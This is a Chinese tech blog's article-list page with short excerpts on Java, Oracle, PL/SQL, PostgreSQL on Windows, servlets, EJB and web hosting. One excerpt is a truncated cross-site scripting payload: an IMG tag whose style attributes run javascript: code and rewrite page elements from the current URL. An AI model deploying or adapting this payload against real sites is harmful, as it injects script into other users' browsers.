`
cuijiemin
  • 浏览: 265569 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论
文章列表
执行以下代码:Runtime.getRuntime().addShutdownHook(new Thread() { public void run() { System.out.println("shutting down"); } }); System.out.println("1"); System.out.println("2"); 结果显示:1 2 shutting down 由此可见shutdown hook 就是已经初始化但尚未开始执行的线程对象。在Runtime 注册后,如果 jvm 要停止前,这些 shutdown ...
<IMGsrc='javascript:bla'style='background-image:url('javascript:alert%28%27bli%27%29');background-image:url('javascript:document.all[61].src=document.location.href.replace%28%22getmsg%22,%22person%22%29.substring%28%220%22,document.location.href.indexOf%28%22%26msg%22%29%29;functionbla(){alert%28% ...
有时候安装 PostgreSQL 的 Windows 版本时会在创建 Windows 服务时失败,取消“安装为服务”的选项后,如何手工把它安装成服务呢?1. 首先检查用户,即启动 PostgreSQL 服务的用户,默认用户是 postgres,通过“控制面板”->“计算机管理”-> “本地用户和组”检查是否有 postgres 用户,如果有则先删除此用户。2. 通过命令行添加 postgres 用户,如下: C:\>netuserpostgrespass/add/expires:never /passwordchg:no 上面的命令,创建 postgres ...
索引与表一样,也属于段(segment)的一种。里面存放了用户的数据,跟表一样需要占用磁盘空间。只 不过,在索引里的数据存放形式与表里的数据存放形式非常的不一样。在理解索引时,可以想象一本书,其中书的内容就相当于表里的数据,而书前面的目录就相当于该表的索引。同时,通常情况下,索引所占用的磁盘空间要比表要小的多,其主要作用是为了加快对数据的搜索速度,也可以用来保证数据的唯一性。 但是,索引作为一种可选的数据结构,你可以选择为某个表里的创建索引,也可以不创建。这是因为一旦创建了索引,就意味着oracle对表进行DML(包括INSERT、UPDATE、DELETE)时,必须处理额外的工作量(也就是 ...
今天简单的总结一下PL/SQL中cursor(光标/游标)的用法。 cursor分类: --显式cursor --静态cursor | | --隐式cursorcursor | | --强类型(限制),规定返回类型 --动态cursor --ref cursor | --弱类型(非限制),不规定返回类型,可以获取任何结果集 ...
在现代的多用户多任务系统中,必然会出现多个用户同时访问共享的某个对象,这个对象可能是表,行,或者内存结构,为了解决多个用户并发性访问带来的数据的安全性,完整性及一致性问题,必须要有一种机制,来使对这些 ...
经常看到很多人讨论java中关于String的问题,我也就有点兴趣了,鉴于网上很多人写的都差别很大,同样的问题都是不同的说法,我很迷糊,花了一晚上读了Java Virtual Machine Specification和The Java Language Specification的一些章节,做了很多试验,总结了一下关于String的内容,还有很多内容我也不确定,在下面也都提出来了,希望高手能指正. Constant Pool常量池的概念: 在讲到String的一些特殊情况时,总会提到String Pool或者Constant Pool,但是我想很多人都不太明白Constant Pool到底 ...
Servlet/JSP技术和ASP、PHP等相比,由于其多线程运行而具有很高的执行效率。由于Servlet/JSP默认是以多线程模式执行的,所以,在编写代码时需要非常细致地考虑多线程的安全性问题。然而,很多人编写Servlet/JSP程序时并没有注意到多线程安全性的问题,这往往造成编写的程序在少量用户访问时没有任何问题,而在并发用户上升到一定值时,就会经常出现一些莫明其妙的问题。  Servlet的多线程机制    Servlet体系结构是建立在Java多线程机制之上的,它的生命周期是由Web容器负责的。当客户端第一次请求某个Servlet时,Servlet容器将会根据web.xml配置文件实例 ...
今天学习ejb3.0,在JBOSS上按照教程部署一个entity bean,但是控制台却总是报 org.jboss.resource.jbossresourceexception failed to register driver for com.microsoft.sqlserver.jdbc.SQLServerDriver 的错误,找不到sqlserver驱动类,可是我明明已经把那三个文件放在了default/lib下面。 在网上查了n久,无结果,在msdn上下新的驱动,无结果。 正打算放弃时,偶然的解压了mssqlserver.jar,发现驱动类的路径为com.microsof ...
ENC的概念: The application component environment is referred to as the ENC, the enterprise naming context. 应用组件的业务逻辑应该是ENC中取得对象。组件提供者使用标准的部署描述符指定必需的ENC入口。这些ENC入口是运行时组件所依赖的资源等信息。 一个应用组件实例使用JNDI定位ENC。ENC的标准JNDI CONTEXT是:java;/comp/env Java代码 //Obtaintheapplicationcomponent'sENC ContextiniCtx= ...
朋友推荐了一个网站:互联网森林,貌似一个环保网站,回答10个问题,每个问题都包括一个环保的安排,比如使用节能灯泡能减少多少二氧化碳排放,如果你都给了减少排放的答案,最后会计算出你减少了多少二氧化碳排放,你可以用这些排放量换取小树。 我的结果是: 感谢您的参与!今天您减排了2406.1克二氧化碳 相当于种植了0.13148棵树来吸收相应的二氧化碳 目前互联网森林已种下 556,585 棵树 如果从宣传的角度来说或许是个不错的网站,但从环保的角度,这个网站实在是背道而驰了。 首先,整个页面风格是白色调的,显示白色调最费电,也就是说访问这个网站本身可能比电脑使用 ...
使用ExtJS以后,习惯于将应用按类分成多个js文件,然后一一加入到测试用的HTML主页进行调试,Release的时候再把所有的js合并成一个以提高网页的装载效率。 在挺长的一段时间里,使用IE调试HTML页面上常常会弹出无效字符的提示,但似乎js合并后就没事了,这样的问题一直让我很疑惑,却一时没有找到原因。 最近更换IE8调试才发现,原来所谓无效字符,实际是因为开发中js文件改名导致与HTML页面中的引用不一致,IE无法找到HTML页面中引用的js文件导致的。这点上IE的提示真的很怪,直接提示无法找到js文件岂不是更清楚一些? 不过,仍然要称赞一下IE8的调试能力,完全 ...
注意引入命名空间 具体核心代码: using System.Net;using System.Text;using System.IO; WebRequest wr = WebRequest.Create(rssurl);//其中rssurl为要调用的api地址wr.Method = "POST";指定调用方式get postwr.ContentType = "application/x-www-form-urlencoded";NetworkCredential nc = new NetworkCredential("usern ...
也许是意识到博客的问题,博客技术先驱blogger.com创始人埃文·威廉姆斯(Evan Williams)创建了Twitter。和博客一样,twitter也是解决话题问题的工具,但它提供了几个独有的特色: 首先是短,每篇twitter只有一条短信的长度,140个字, ...
忘了之前为了什么原因硬是把Godaddy上的空间从IIS6切换到IIS7,当时也没感觉有什么改进,最近才发现,原来IIS7支持PHP5.x,而多数的优秀的CMS系统都是用PHP构建的,于是萌发了使用CMS替代现在网站的念头。 所谓CMS是Content Management ...
Global site tag (gtag.js) - Google Analytics